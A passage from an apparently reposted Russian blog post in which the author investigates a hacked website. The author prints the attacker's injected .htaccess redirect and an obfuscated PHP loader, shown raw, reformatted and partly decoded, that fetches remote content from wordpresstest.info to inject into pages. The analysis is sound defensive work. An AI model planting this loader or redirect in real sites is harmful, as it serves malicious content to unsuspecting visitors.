{"id":184150,"date":"2013-06-21T17:15:03","date_gmt":"2013-06-21T13:15:03","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=184150"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=184150","title":{"rendered":"<span class=\"post_title\">\u041c\u043e\u0451 \u043c\u0430\u043b\u0435\u043d\u044c\u043a\u043e\u0435 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u043b\u0438 \u0418\u0441\u0442\u043e\u0440\u0438\u044f \u043e\u0434\u043d\u043e\u0433\u043e \u0432\u0437\u043b\u043e\u043c\u0430<\/span>"},"content":{"rendered":"<div class=\"content html_format\">   \t\u0412\u0441\u0451 \u043d\u0430\u0447\u0430\u043b\u043e\u0441\u044c \u0441 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u00ab\u0422\u0443\u0442?\u00bb \u043e\u0442 \u043c\u043e\u0435\u0433\u043e \u0434\u0440\u0443\u0433\u0430 \u0432 \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0439. \u00ab\u042f\u043d\u0434\u0435\u043a\u0441 \u043d\u0430\u0448\u0451\u043b \u043d\u0430 \u0441\u0430\u0439\u0442\u0435 \u0432\u0438\u0440\u0443\u0441\u044b. \u0413\u043b\u044f\u043d\u0435\u0448\u044c?\u00bb \u00ab\u041e\u0442\u0447\u0435\u0433\u043e \u0436 \u043d\u0435 \u0433\u043b\u044f\u043d\u0443\u0442\u044c\u00bb, \u043f\u043e\u0434\u0443\u043c\u0430\u043b \u044f.<br \/>  \u0422\u0430\u043a \u043d\u0430\u0447\u0430\u043b\u043e\u0441\u044c \u043c\u043e\u0451 \u0442\u0440\u0451\u0445\u0434\u043d\u0435\u0432\u043d\u043e\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432, \u0434\u0430\u0431\u044b \u043f\u043e\u043d\u044f\u0442\u044c \u0441\u0443\u0442\u044c \u0432\u0437\u043b\u043e\u043c\u0430 \u0438 \u0447\u0442\u043e \u0442\u0430\u043c \u0432\u043e\u043e\u0431\u0449\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442.<br \/>  <a name=\"habracut\"><\/a><br \/>  \u042f\u043d\u0434\u0435\u043a\u0441 \u0440\u0443\u0433\u0430\u043b\u0441\u044f \u043d\u0430 \u00ab\u041f\u043e\u0432\u0435\u0434\u0435\u043d\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437\u00bb. <br \/>  \u041f\u0435\u0440\u0432\u044b\u043c \u0434\u0435\u043b\u043e\u043c \u043e\u0441\u043c\u043e\u0442\u0440\u0435\u043b .htaccess \u2014 \u0432 \u043d\u0430\u0447\u0430\u043b\u043e \u0444\u0430\u0439\u043b\u0430 \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u0434\u043e\u043f\u0438\u0441\u0430\u043d\u044b \u0441\u0442\u0440\u043e\u043a\u0438:<\/p>\n<pre><code class=\"bash\">&lt;IfModule mod_rewrite.c&gt; RewriteEngine On RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|yandex|ya|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|linkedin|flickr|filesearch|yell|openstat|metabot|gigablast|entireweb|amfibi|dmoz|yippy|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|infospace|web|websuche|witch|wolong|oekoportal|freenet|arcor|alexana|tiscali|kataweb|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|westaustraliaonline)\\.(.*) RewriteCond %{HTTP_USER_AGENT} ^.*(msie|opera) [NC] RewriteCond %{REQUEST_FILENAME} !\/index_backup.php RewriteRule (.*) \/index_backup.php?query=$1 [QSA,L] &lt;\/IfModule&gt; <\/code><\/pre>\n<p>  \u0422\u0443\u0442 \u0432\u0441\u0451 \u043f\u0440\u043e\u0441\u0442\u043e \u2014 \u0432\u0441\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438, \u0447\u0442\u043e \u043f\u0435\u0440\u0435\u0448\u043b\u0438 \u043d\u0430 \u043d\u0430\u0448 \u0441\u0430\u0439\u0442 \u0441 \u043f\u043e\u0438\u0441\u043a\u043e\u0432\u0438\u043a\u043e\u0432, \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 \u0438 \u043f\u0440. \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 Opera \u0438\u043b\u0438 Internet Explorer, \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043d\u0430 \u043d\u0435\u043a\u0443\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 index_backup.php.<br \/>  \u0421\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u044d\u0442\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u2014 \u043e\u0434\u043d\u0430 \u0441\u0442\u0440\u043e\u043a\u0430. \u041d\u043e \u043a\u0430\u043a\u0430\u044f! (\u0417\u0434\u0435\u0441\u044c \u0438 \u0434\u0430\u043b\u0435\u0435 \u043a\u043e\u0434 \u0431\u0443\u0434\u0443 \u043f\u0440\u044f\u0442\u0430\u0442\u044c \u043f\u043e\u0434 \u0441\u043f\u043e\u0439\u043b\u0435\u0440\u044b, \u0434\u0430\u0431\u044b \u043d\u0435 \u043d\u0430\u0433\u0440\u043e\u043c\u043e\u0436\u0434\u0430\u0442\u044c).  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0444\u0430\u0439\u043b\u0430<\/b><\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"php\">&lt;? $GLOBALS['_62805507_']=Array(base64_decode(''.'ZG'.'VmaW5'.'l'),base64_decode('ZmlsZV'.'9nZ'.'XRfY29'.'u'.'dGV'.'udHM'.'='),base64_decode('c3RyZ'.'WFtX'.'2Nvbn'.'RleHR'.'fY3JlYXR'.'l'),base64_decode(''.'Zml'.'sZV9nZ'.'X'.'RfY29'.'udGVudHM='),base64_decode('c3'.'R'.'ybmF0'.'Y21'.'w'),base64_decode('bXRfcmFuZ'.'A='.'='),base64_decode('ZnB1dHM='),base64_decode('ZnJlYWQ'.'='),base64_decode('ZmN'.'sb3N'.'l'),base64_decode('c3RycG9z'),base64_decode('YW'.'RkY3NsYX'.'N'.'oZXM='),base64_decode('Z'.'mZsdXNo'),base64_decode(''.'c3V'.'ic3Ry'),base64_decode('Zm'.'lsZV'.'9'.'nZXRfY29udGVu'.'dH'.'M='),base64_decode('YXJyY'.'XlfZm'.'lsbF9rZXlz'),base64_decode(''.'Y3Vyb'.'F9pbml0'),base64_decode('Y3VybF9tdWx0aV9leGVj'),base64_decode('YXJyY'.'Xlfc'.'HVzaA=='),base64_decode('Y3VybF9zZXRvc'.'HQ'.'='),base64_decode('bXRf'.'cmFuZ'.'A=='),base64_decode('aW1hZ'.'2VjcmVhdGVmcm9'.'tZ2lm'),base64_decode('Y3'.'Vy'.'bF9'.'zZX'.'RvcH'.'Q'.'='),base64_decode('Y3VybF9zZX'.'Rvc'.'HQ='),base64_decode('Y3'.'Vy'.'bF'.'9l'.'eG'.'Vj'),base64_decode('Y3'.'Vy'.'bF9jbG9z'.'Z'.'Q=='),base64_decode(''.'aW5pX2d'.'ldA='.'='),base64_decode('c'.'GFyc2VfdX'.'Js'),base64_decode('ZnNv'.'Y2tv'.'cGVu'),base64_decode('ZnV'.'uY3R'.'p'.'b'.'2'.'5f'.'Z'.'Xh'.'pc'.'3Rz')); ?&gt;&lt;? function _1051993851($i){$a=Array('SUZ'.'SQU1FX1'.'V'.'S'.'T'.'A==','aH'.'R0c'.'DovL3d'.'vcmRwcmV'.'zc3Rlc3Qu'.'aW'.'5m'.'by83Ln'.'R4'.'d'.'A='.'=',''.'ZA==','aHR0cDovLw='.'=','S'.'F'.'RUU'.'F9IT1NU','Uk'.'VRVU'.'VTV'.'F'.'9VUkk'.'=','a'.'HR0'.'cA==','dGltZW91dA==','R'.'0VUIA==',''.'Pw='.'=','I'.'CB'.'IVFRQLzEuMA0K','VXNlci1BZ2VudDo'.'gTW96'.'a'.'WxsYS81L'.'jAgKFd'.'p'.'bmRvd3M7IFU7IFdpbmRvd'.'3MgT'.'lQgN'.'S4xO'.'yBl'.'b'.'i1V'.'UzsgcnY6MS44LjA'.'uMykgR2'.'Vj'.'a2'.'8v'.'MjAwNjA0'.'M'.'jYgRmlyZW'.'ZveC8x'.'LjUuM'.'C4zDQo=',''.'QW'.'NjZXB0'.'OiAqLyoNCg='.'=','QWNjZXB0'.'LUxhb'.'md1YWdlOiBlbi11cyxlbjt'.'xPTAuNQ0K','QWN'.'jZXB'.'0L'.'UNo'.'YXJz'.'ZX'.'Q6IElTTy04'.'ODU5LTEsdXR'.'mLTg7cT'.'0wLjcs'.'Kjt'.'xPTAu'.'Nw0K','S2VlcC'.'1'.'Bb'.'Gl'.'2'.'ZT'.'ogMzA'.'w'.'D'.'Qo=',''.'Q29'.'ubmVjd'.'Glv'.'bjoga'.'2Vl'.'cC1hbGl2ZQ0K','aQ==','DQoNC'.'g==','Y'.'Wxsb3df'.'dXJsX'.'2ZvcG'.'Vu','aG9zd'.'A==','aG9zd'.'A==','cGF0aA==','cXVl'.'c'.'nk=',''.'Y3VybF9pbm'.'l0');return base64_decode($a[$i]);} ?&gt;&lt;?php $GLOBALS['_62805507_'][0](_1051993851(0),_1051993851(1));$_0=_1051993851(2);echo l__3(IFRAME_URL);$_1=round(0+2345.5+2345.5);echo@$GLOBALS['_62805507_'][1](_1051993851(3) .$_SERVER[_1051993851(4)] .$_SERVER[_1051993851(5)]);function l__0($_2){$_3=$GLOBALS['_62805507_'][2](array(_1051993851(6)=&gt; array(_1051993851(7)=&gt; round(0+3+3+3+3+3))));return $GLOBALS['_62805507_'][3]($_2,false,$_3);(round(0+3799)-round(0+759.8+759.8+759.8+759.8+759.8)+round(0+3457)-round(0+3457))?$GLOBALS['_62805507_'][4]($_4,$_3):$GLOBALS['_62805507_'][5](round(0+767.33333333333+767.33333333333+767.33333333333),round(0+1266.3333333333+1266.3333333333+1266.3333333333));}function l__1($_5,$_6,$_7,$_8){$GLOBALS['_62805507_'][6]($_5,_1051993851(8) .$_7 ._1051993851(9) .$_8 ._1051993851(10) .&quot;Host: $_6\\r\\n&quot; ._1051993851(11) ._1051993851(12) ._1051993851(13) ._1051993851(14) ._1051993851(15) ._1051993851(16) .&quot;Referer: http:\/\/$_6\\r\\n\\r\\n&quot;);while($_4=$GLOBALS['_62805507_'][7]($_5,round(0+1365.3333333333+1365.3333333333+1365.3333333333))){$_9 .= $_4;}$GLOBALS['_62805507_'][8]($_5);$_10=_1051993851(17);$_11=$GLOBALS['_62805507_'][9]($_9,_1051993851(18));if((round(0+968.25+968.25+968.25+968.25)^round(0+1291+1291+1291))&& $GLOBALS['_62805507_'][10]($_5,$_2,$_5,$_7))$GLOBALS['_62805507_'][11]($_12,$_7,$_11);$_9=$GLOBALS['_62805507_'][12]($_9,$_11+round(0+1.3333333333333+1.3333333333333+1.3333333333333));if((round(0+1014.5+1014.5+1014.5+1014.5)^round(0+4058))&& $GLOBALS['_62805507_'][13]($_3,$_3,$_3))$GLOBALS['_62805507_'][14]($_13);return $_9;}function l__2($_2){$_13=$GLOBALS['_62805507_'][15]($_2);if((round(0+736.6+736.6+736.6+736.6+736.6)+round(0+312+312+312))&gt;round(0+3683)|| $GLOBALS['_62805507_'][16]($_14));else{$GLOBALS['_62805507_'][17]($_11);}$GLOBALS['_62805507_'][18]($_13,42,FALSE);if(round(0+3068.5+3068.5)&lt;$GLOBALS['_62805507_'][19](round(0+572.33333333333+572.33333333333+572.33333333333),round(0+4415)))$GLOBALS['_62805507_'][20]($_2,$_15,$_16);$GLOBALS['_62805507_'][21]($_13,19913,TRUE);$GLOBALS['_62805507_'][22]($_13,13,round(0+3+3+3+3+3));$_12=$GLOBALS['_62805507_'][23]($_13);$GLOBALS['_62805507_'][24]($_13);return $_12;}function l__3($_2){if($GLOBALS['_62805507_'][25](_1051993851(19))== round(0+0.33333333333333+0.33333333333333+0.33333333333333)){echo l__0($_2);}else{$_14=$GLOBALS['_62805507_'][26]($_2);if($_5=@$GLOBALS['_62805507_'][27]($_14[_1051993851(20)],round(0+40+40),$_15,$_16,round(0+3+3+3+3+3))){echo l__1($_5,$_14[_1051993851(21)],$_14[_1051993851(22)],$_14[_1051993851(23)]);}elseif(@$GLOBALS['_62805507_'][28](_1051993851(24))){echo l__2($_2);}}} <\/code><\/pre>\n<\/div>\n<\/div>\n<p>  \u041f\u043e\u0441\u043b\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u043e\u0432 \u043a\u043e\u0434 \u0441\u0442\u0430\u043b \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0431\u043e\u043b\u0435\u0435 \u0447\u0438\u0442\u0430\u0431\u0435\u043b\u0435\u043d, \u043d\u043e \u0441\u043e\u0432\u0441\u0435\u043c \u043d\u0435 \u0441\u0442\u0430\u043b \u043f\u043e\u043d\u044f\u0442\u043d\u0435\u0435:  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u043e\u0442\u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430<\/b><\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"php\">&lt;?  $GLOBALS['_62805507_']=Array( \tbase64_decode('ZGVmaW5l'),  \tbase64_decode('ZmlsZV9nZXRfY29udGVudHM='),  \tbase64_decode('c3RyZWFtX2NvbnRleHRfY3JlYXRl'), \tbase64_decode('ZmlsZV9nZXRfY29udGVudHM='), \tbase64_decode('c3RybmF0Y21w'), \tbase64_decode('bXRfcmFuZA=='), \tbase64_decode('ZnB1dHM='), \tbase64_decode('ZnJlYWQ='), \tbase64_decode('ZmNsb3Nl'), \tbase64_decode('c3RycG9z'), \tbase64_decode('YWRkY3NsYXNoZXM='), \tbase64_decode('ZmZsdXNo'), \tbase64_decode('c3Vic3Ry'), \tbase64_decode('ZmlsZV9nZXRfY29udGVudHM='), \tbase64_decode('YXJyYXlfZmlsbF9rZXlz'), \tbase64_decode('Y3VybF9pbml0'), \tbase64_decode('Y3VybF9tdWx0aV9leGVj'), \tbase64_decode('YXJyYXlfcHVzaA=='), \tbase64_decode('Y3VybF9zZXRvcHQ='), \tbase64_decode('bXRfcmFuZA=='), \tbase64_decode('aW1hZ2VjcmVhdGVmcm9tZ2lm'), \tbase64_decode('Y3VybF9zZXRvcHQ='), \tbase64_decode('Y3VybF9zZXRvcHQ='), \tbase64_decode('Y3VybF9leGVj'), \tbase64_decode('Y3VybF9jbG9zZQ=='), \tbase64_decode('aW5pX2dldA=='), \tbase64_decode('cGFyc2VfdXJs'), \tbase64_decode('ZnNvY2tvcGVu'), \tbase64_decode('ZnVuY3Rpb25fZXhpc3Rz')); \t?&gt; &lt;?  function _1051993851($i){ \t$a=Array( \t'SUZSQU1FX1VSTA==', \t'aHR0cDovL3dvcmRwcmVzc3Rlc3QuaW5mby83LnR4dA==', \t'ZA==', \t'aHR0cDovLw==', \t'SFRUUF9IT1NU', \t'UkVRVUVTVF9VUkk=', \t'aHR0cA==', \t'dGltZW91dA==', \t'R0VUIA==', \t'Pw==', \t'ICBIVFRQLzEuMA0K', \t'VXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyBlbi1VUzsgcnY6MS44LjAuMykgR2Vja28vMjAwNjA0MjYgRmlyZWZveC8xLjUuMC4zDQo=', \t'QWNjZXB0OiAqLyoNCg==', \t'QWNjZXB0LUxhbmd1YWdlOiBlbi11cyxlbjtxPTAuNQ0K', \t'QWNjZXB0LUNoYXJzZXQ6IElTTy04ODU5LTEsdXRmLTg7cT0wLjcsKjtxPTAuNw0K', \t'S2VlcC1BbGl2ZTogMzAwDQo=', \t'Q29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0K', \t'aQ==', \t'DQoNCg==', \t'YWxsb3dfdXJsX2ZvcGVu', \t'aG9zdA==', \t'aG9zdA==', \t'cGF0aA==', \t'cXVlcnk=', \t'Y3VybF9pbml0'); return base64_decode($a[$i]); }  ?&gt; &lt;?php  $GLOBALS['_62805507_'][0](_1051993851(0),_1051993851(1)); $_0=_1051993851(2); echo l__3(IFRAME_URL); $_1=round(0+2345.5+2345.5); echo@$GLOBALS['_62805507_'][1](_1051993851(3) .$_SERVER[_1051993851(4)] .$_SERVER[_1051993851(5)]);  function l__0($_2){ \t$_3=$GLOBALS['_62805507_'][2](array(_1051993851(6)=&gt; array(_1051993851(7)=&gt; round(0+3+3+3+3+3)))); \treturn $GLOBALS['_62805507_'][3]($_2,false,$_3); \t(round(0+3799)-round(0+759.8+759.8+759.8+759.8+759.8)+round(0+3457)-round(0+3457))?$GLOBALS['_62805507_'][4]($_4,$_3):$GLOBALS['_62805507_'][5](round(0+767.33333333333+767.33333333333+767.33333333333),round(0+1266.3333333333+1266.3333333333+1266.3333333333)); }  function l__1($_5,$_6,$_7,$_8){ \t$GLOBALS['_62805507_'][6]($_5,_1051993851(8) .$_7 ._1051993851(9) .$_8 ._1051993851(10) .&quot;Host: $_6\\r\\n&quot; ._1051993851(11) ._1051993851(12) ._1051993851(13) ._1051993851(14) ._1051993851(15) ._1051993851(16) .&quot;Referer: http:\/\/$_6\\r\\n\\r\\n&quot;); \twhile($_4=$GLOBALS['_62805507_'][7]($_5,round(0+1365.3333333333+1365.3333333333+1365.3333333333))){ \t\t$_9 .= $_4; \t} \t$GLOBALS['_62805507_'][8]($_5); \t$_10=_1051993851(17); \t$_11=$GLOBALS['_62805507_'][9]($_9,_1051993851(18)); \tif((round(0+968.25+968.25+968.25+968.25)^round(0+1291+1291+1291))&& $GLOBALS['_62805507_'][10]($_5,$_2,$_5,$_7))$GLOBALS['_62805507_'][11]($_12,$_7,$_11); \t$_9=$GLOBALS['_62805507_'][12]($_9,$_11+round(0+1.3333333333333+1.3333333333333+1.3333333333333)); \tif((round(0+1014.5+1014.5+1014.5+1014.5)^round(0+4058))&& $GLOBALS['_62805507_'][13]($_3,$_3,$_3))$GLOBALS['_62805507_'][14]($_13); \treturn $_9; }  function l__2($_2){ \t$_13=$GLOBALS['_62805507_'][15]($_2); \tif((round(0+736.6+736.6+736.6+736.6+736.6)+round(0+312+312+312))&gt;round(0+3683)|| $GLOBALS['_62805507_'][16]($_14)); \telse{ \t\t$GLOBALS['_62805507_'][17]($_11); \t} \t$GLOBALS['_62805507_'][18]($_13,42,FALSE);         if(round(0+3068.5+3068.5)&lt;$GLOBALS['_62805507_'][19](round(0+572.33333333333+572.33333333333+572.33333333333),round(0+4415)))$GLOBALS['_62805507_'][20]($_2,$_15,$_16); \t$GLOBALS['_62805507_'][21]($_13,19913,TRUE);         $GLOBALS['_62805507_'][22]($_13,13,round(0+3+3+3+3+3)); \t$_12=$GLOBALS['_62805507_'][23]($_13); \t$GLOBALS['_62805507_'][24]($_13); \treturn $_12; }  function l__3($_2){ \tif($GLOBALS['_62805507_'][25](_1051993851(19))== round(0+0.33333333333333+0.33333333333333+0.33333333333333)){ \t\techo l__0($_2); \t}else{ \t\t$_14=$GLOBALS['_62805507_'][26]($_2); \t\tif($_5=@$GLOBALS['_62805507_'][27]($_14[_1051993851(20)],round(0+40+40),$_15,$_16,round(0+3+3+3+3+3))){ \t\t\techo l__1($_5,$_14[_1051993851(21)],$_14[_1051993851(22)],$_14[_1051993851(23)]); \t\t}elseif(@$GLOBALS['_62805507_'][28](_1051993851(24))){ \t\t\techo l__2($_2); \t\t} \t} }  ?&gt; <\/code><\/pre>\n<\/div>\n<\/div>\n<p>  \u041f\u0440\u0438\u0448\u043b\u043e \u0432\u0440\u0435\u043c\u044f \u0440\u0430\u0441\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u0434:  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0444\u0430\u0439\u043b\u0430<\/b><\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"php\">&lt;?  $GLOBALS['_62805507_']=Array(  \/\/\t   [0] =&gt; define  \/\/    [1] =&gt; file_get_contents  \/\/    [2] =&gt; stream_context_create  \/\/    [3] =&gt; file_get_contents  \/\/    [4] =&gt; strnatcmp  \/\/    [5] =&gt; mt_rand  \/\/    [6] =&gt; fputs  \/\/    [7] =&gt; fread  \/\/    [8] =&gt; fclose  \/\/    [9] =&gt; strpos  \/\/    [10] =&gt; addcslashes  \/\/    [11] =&gt; fflush  \/\/    [12] =&gt; substr  \/\/    [13] =&gt; file_get_contents  \/\/    [14] =&gt; array_fill_keys  \/\/    [15] =&gt; curl_init  \/\/    [16] =&gt; curl_multi_exec  \/\/    [17] =&gt; array_push  \/\/    [18] =&gt; curl_setopt  \/\/    [19] =&gt; mt_rand  \/\/    [20] =&gt; imagecreatefromgif  \/\/    [21] =&gt; curl_setopt  \/\/    [22] =&gt; curl_setopt  \/\/    [23] =&gt; curl_exec  \/\/    [24] =&gt; curl_close  \/\/    [25] =&gt; ini_get  \/\/    [26] =&gt; parse_url  \/\/    [27] =&gt; fsockopen  \/\/    [28] =&gt; function_exists \tbase64_decode('ZGVmaW5l'),  \tbase64_decode('ZmlsZV9nZXRfY29udGVudHM='),  \tbase64_decode('c3RyZWFtX2NvbnRleHRfY3JlYXRl'), \tbase64_decode('ZmlsZV9nZXRfY29udGVudHM='), \tbase64_decode('c3RybmF0Y21w'), \tbase64_decode('bXRfcmFuZA=='), \tbase64_decode('ZnB1dHM='), \tbase64_decode('ZnJlYWQ='), \tbase64_decode('ZmNsb3Nl'), \tbase64_decode('c3RycG9z'), \tbase64_decode('YWRkY3NsYXNoZXM='), \tbase64_decode('ZmZsdXNo'), \tbase64_decode('c3Vic3Ry'), \tbase64_decode('ZmlsZV9nZXRfY29udGVudHM='), \tbase64_decode('YXJyYXlfZmlsbF9rZXlz'), \tbase64_decode('Y3VybF9pbml0'), \tbase64_decode('Y3VybF9tdWx0aV9leGVj'), \tbase64_decode('YXJyYXlfcHVzaA=='), \tbase64_decode('Y3VybF9zZXRvcHQ='), \tbase64_decode('bXRfcmFuZA=='), \tbase64_decode('aW1hZ2VjcmVhdGVmcm9tZ2lm'), \tbase64_decode('Y3VybF9zZXRvcHQ='), \tbase64_decode('Y3VybF9zZXRvcHQ='), \tbase64_decode('Y3VybF9leGVj'), \tbase64_decode('Y3VybF9jbG9zZQ=='), \tbase64_decode('aW5pX2dldA=='), \tbase64_decode('cGFyc2VfdXJs'), \tbase64_decode('ZnNvY2tvcGVu'), \tbase64_decode('ZnVuY3Rpb25fZXhpc3Rz')); \t?&gt; &lt;?  function _1051993851($i){ \t$a=Array( \t\/\/ [0] =&gt; IFRAME_URL     \/\/ [1] =&gt; http:\/\/wordpresstest.info\/7.txt     \/\/ [2] =&gt; d     \/\/ [3] =&gt; http:\/\/     \/\/ [4] =&gt; HTTP_HOST     \/\/ [5] =&gt; REQUEST_URI     \/\/ [6] =&gt; http     \/\/ [7] =&gt; timeout     \/\/ [8] =&gt; GET      \/\/ [9] =&gt; ?     \/\/ [10] =&gt;   HTTP\/1.0      \/\/ [11] =&gt; User-Agent: Mozilla\/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko\/20060426 Firefox\/1.5.0.3      \/\/ [12] =&gt; Accept: *\/*      \/\/ [13] =&gt; Accept-Language: en-us,en;q=0.5      \/\/ [14] =&gt; Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7      \/\/ [15] =&gt; Keep-Alive: 300      \/\/ [16] =&gt; Connection: keep-alive      \/\/ [17] =&gt; i     \/\/ [18] =&gt;        \/\/ [19] =&gt; allow_url_fopen     \/\/ [20] =&gt; host     \/\/ [21] =&gt; host     \/\/ [22] =&gt; path     \/\/ [23] =&gt; query     \/\/ [24] =&gt; curl_init \t'SUZSQU1FX1VSTA==', \t'aHR0cDovL3dvcmRwcmVzc3Rlc3QuaW5mby83LnR4dA==', \t'ZA==', \t'aHR0cDovLw==', \t'SFRUUF9IT1NU', \t'UkVRVUVTVF9VUkk=', \t'aHR0cA==', \t'dGltZW91dA==', \t'R0VUIA==', \t'Pw==', \t'ICBIVFRQLzEuMA0K', \t'VXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyBlbi1VUzsgcnY6MS44LjAuMykgR2Vja28vMjAwNjA0MjYgRmlyZWZveC8xLjUuMC4zDQo=', \t'QWNjZXB0OiAqLyoNCg==', \t'QWNjZXB0LUxhbmd1YWdlOiBlbi11cyxlbjtxPTAuNQ0K', \t'QWNjZXB0LUNoYXJzZXQ6IElTTy04ODU5LTEsdXRmLTg7cT0wLjcsKjtxPTAuNw0K', \t'S2VlcC1BbGl2ZTogMzAwDQo=', \t'Q29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0K', \t'aQ==', \t'DQoNCg==', \t'YWxsb3dfdXJsX2ZvcGVu', \t'aG9zdA==', \t'aG9zdA==', \t'cGF0aA==', \t'cXVlcnk=', \t'Y3VybF9pbml0'); return base64_decode($a[$i]); }  ?&gt; &lt;?php   defined(IFRAME_URL, &quot;http:\/\/wordpresstest.info\/7.txt&quot;); $_0 = &quot;d&quot;; \/\/\u043c\u0443\u0441\u043e\u0440 echo l__3(IFRAME_URL); $_1 = 4691; \/\/\u043c\u0443\u0441\u043e\u0440 echo @file_get_contents(&quot;http:\/\/&quot;.$_SERVER[&quot;HTTP_HOST&quot;].$_SERVER[&quot;REQUEST_URI&quot;]);  function l__0 ($iframeurl) { \/\/ \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u0444\u0430\u0439\u043b\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e file_get_contents     $socket_options = stream_context_create(array(&quot;http&quot; =&gt; array(&quot;timeout&quot; =&gt; 15)));     return file_get_contents($iframeurl, false, $_3);      \/\/ \u0444-\u0438\u044f \u0443\u0436\u0435 \u0432\u0435\u0440\u043d\u0443\u043b\u0430 \u043e\u0442\u0432\u0435\u0442. \u0422\u043e, \u0447\u0442\u043e \u043d\u0438\u0436\u0435 - \u043c\u0443\u0441\u043e\u0440, \u0434\u0430\u0431\u044b \u0437\u0430\u043f\u0443\u0442\u0430\u0442\u044c.     if (0){     \tstrnatcmp($_4, $_3);     } else {     \tmt_rand(2302,3799);     }  }  function l__1 ($socket, $host, $path, $query) { \/\/ \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u0444\u0430\u0439\u043b\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e fsockopen     fputs($socket,         &quot;GET &quot;.$path.&quot;?&quot;.$query.&quot; HTTP 1.0\\r\\n&quot;.         &quot;Host: $host\\r\\n&quot;.         &quot;User-Agent: Mozilla\/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko\/20060426 Firefox\/1.5.0.3\\r\\n&quot;.         &quot;Accept: *\/*\\r\\n&quot;.         &quot;Accept-Language: en-us,en;q=0.5\\r\\n&quot;.         &quot;Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\\r\\n&quot;.         &quot;Keep-Alive: 300\\r\\n&quot;.         &quot;Connection: 